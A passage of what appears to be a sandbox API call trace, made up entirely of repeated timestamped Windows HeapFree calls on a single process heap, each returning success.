lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.875] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.875] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0187.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0187.897] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.897] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.898] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0188.798] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.802] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.803] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.804] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.805] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.806] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.810] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.811] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.812] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.816] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.820] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.827] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.828] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0188.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0188.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0188.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0188.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0188.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0188.835] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0188.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0188.989] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.039] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.041] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.101] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.106] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.112] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.113] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.114] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.115] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.116] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.117] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.118] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.119] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.120] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.120] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.121] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.121] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.122] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.122] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.123] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.124] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.125] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.126] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.128] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.129] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0189.134] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.134] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.134] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0189.136] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.234] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.235] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.236] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.237] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.238] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.239] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.253] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.254] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.255] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.255] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.256] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.256] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.258] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.258] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0189.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.390] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.399] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.400] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.403] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.405] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.406] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.408] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.486] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.595] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.597] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.597] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.598] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.598] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.638] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.639] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.641] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0189.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.655] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0189.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, 